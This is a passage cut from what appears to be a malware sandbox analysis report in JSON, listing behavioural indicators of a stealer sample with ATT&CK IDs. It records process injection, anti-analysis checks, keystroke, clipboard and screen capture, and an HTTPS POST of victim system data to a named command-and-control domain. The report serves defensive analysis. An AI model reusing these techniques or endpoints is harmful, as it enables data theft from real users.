\"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\audiodg_svc.exe\" (UID: 5172)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"audiodg_svc.exe\" called \"NtQueueApcThread\" (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"audiodg_svc.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\efudy1v3brsz\\msiexec.log\"\n \"audiodg_svc.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\efudy1v3brsz\\oxjrstqeoghk.au3\"\n \"audiodg_svc.exe\" reads file \"c:\\windows\\syswow64\\winhttpcom.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Reference to an external IP address lookup service identified\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Possibly tries to evade analysis by sleeping multiple times\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Contains ability to detect virtual environment\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to identify external IP address","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$4e","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"msiexec.exe\" trying to access non-existent file \"C:\\WINDOWS\\System32\\msiexec.exe.Local\\\"\n \"msiexec.exe\" trying to access non-existent file \"SrpDevice\"\n \"msiexec.exe\" trying to access non-existent file \"A:\"\n \"msiexec.exe\" trying to access non-existent file \"B:\"\n \"msiexec.exe\" trying to access non-existent file \"D:\"\n \"msiexec.exe\" trying to access non-existent file \"E:\"\n \"msiexec.exe\" trying to access non-existent file \"F:\"\n \"msiexec.exe\" trying to access non-existent file \"G:\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"audiodg_svc.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\efudy1v3brsz\\oxjrstqeoghk.au3\"\n \"audiodg_svc.exe\" writes file \"%localappdata%\\efudy1v3brsz\\oxjrstqeoghk.au3\"\n \"audiodg_svc.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\efudy1v3brsz\\executed.dat\"\n \"audiodg_svc.exe\" writes file \"%localappdata%\\efudy1v3brsz\\executed.dat\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"audiodg_svc.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\executed.dat\"\n \"audiodg_svc.exe\" writes a file \"%LOCALAPPDATA%\\EfUdy1v3brSz\\executed.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"WNetAddConnection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"WNetUseConnectionW\" (Indicator: \"WNetUseConnection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"WNetCancelConnection2W\" (Indicator: \"WNetCancelConnection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"WNetGetConnection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"PING\" (Indicator: \"ping\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found string \"Ping\" (Indicator: \"ping\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"audiodg_svc.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"bc0a50\"\n \"dwHeadersLength\": \"0\"\n \"lpOptional\": \"nome_pc=n70N9n8MjueHRn6&sistema_operacional=WIN_10 X64 (Build 16299)&usuario=Wx6UE7A&ip_local=192.168.0.2&ip_externo=170.250.66.160&data_hora=2026-10-16 08:03:50&antivirus=Removido&info_adicional=Window%WINDIR%\\\\10 Pro; CPU: Intel(R) Core(R) Gold 6240R CPU @\"\n \"dwOptionalLength\": \"329\"\n \"dwTotalLength\": \"329\"\n \"dwContext\": \"12404136\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"audiodg_svc.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"bd3638\"\n \"lpReserved\": \"0\"}\n \"audiodg_svc.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"bc0a50\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /\"\n Found http requests in header \"POST /principal/aNuEntity.php\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set the value of an HTTP request header","description":"file/memory contains long string with (Indicator: \".setRequestHeader\"; File: \"oxjrstqeoghk.au3\")\n Found string \"oHTTP.SetRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\")\" (Indicator: \".setRequestHeader\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-623","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"64.124.12.162\"\n \"2.5.29.35\"\n \"0.0.0.0\"\n \"255.255.255.255\"\n Potential IP \"0.0.0.0\" found in string \"f $sIP = \"0.0.0.0\" Or $sIP = \"\" Then $sIP = @IPAddress2\"\n Potential IP \"0.0.0.0\" found in string \"f $sIP = \"0.0.0.0\" Or $sIP = \"\" Then $sIP = @IPAddress3\"\n Potential IP \"0.0.0.0\" found in string \"f $sIP = \"0.0.0.0\" Or $sIP = \"\" Then $sIP = @IPAddress4\"\n Potential IP \"0.0.0.0\" found in string \"f $sIP = \"0.0.0.0\" Or $sIP = \"\" Then $sIP = \"Indispon\", \"192.168.0.2\", \"2.5.29.15\", \"2.5.29.19\", \"2.5.4.3\", \"2.5.29.32\", \"2.5.29.14\", \"2.5.29.1\", Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\", \"2.5.29.17\", Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\", \"2.5.29.31\", Potential IP \"64.124.12.162\" found in string \"64.124.12.162\\$\", \"2.5.29.10\", \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$51","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$52","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$53","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET / HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: api.ipify.org\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"oficinadacapivara.top\" (11 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://api.ipify.org/\n Found HTTPS POST request to https://oficinadacapivara.top/principal/aNuEntity.php","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"api.ipify.org\" (90 days old)\n Short term registered certificate: \"oficinadacapivara.top\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.26.12.205\" on port \"443\"\n HTTPS traffic to \"104.21.54.21\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinW\" (Indicator: \"EmptyRecycleBin\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$54","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$55","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found string \"DragQueryFileW\" (Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CreateDCW\" (Indicator: \"CreateDC\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserObjectSecurity\" (Indicator: \"GetUserObjectSecurity\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"Win32API|System Information Functions|GetUserName\" (Indicator: \"GetUserName\"; Source: \"00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C80000.00000004.mdmp, 00000000-00005172.00000003.174592.00C80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"\"audiodg_svc.exe\" called \"FindFirstFileW\" with parameter %LOCALAPPDATA%\\EfUdy1v3brSz\\oxjrstqeoghk.au3 (UID: 00000000-00004872)\n \"audiodg_svc.exe\" called \"FindFirstFileW\" with parameter %LOCALAPPDATA%\\EfUdy1v3brSz\\executed.dat (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"audiodg_svc.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"audiodg_svc.exe\" called \"GetComputerNameW\" (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"audiodg_svc.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"audiodg_svc.exe\" called \"GetUserNameW\" (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00BE1000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00B9A000.00000004.mdmp, 00000000-00005172.00000003.174592.00BE1000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp\")\n Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00BE1000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"hSearch = FileFindFirstFile($sPath & $sFilter)\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp\")\n Found reference to API \"sFile = FileFindNextFile($hSearch)\" (Indicator: \"FindNextFile\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"ocal $aResultado = DllCall($hKernel32, \"ptr\", \"GetProcAddress\", \"handle\", $hModulo, \"dword\", $iOrdinal)\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp\")\n Found reference to API \"ocal $aResultado = DllCall($hKernel32, \"ptr\", \"GetProcAddress\", \"handle\", $hModulo, \"str\", $sNomeFuncao)\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API 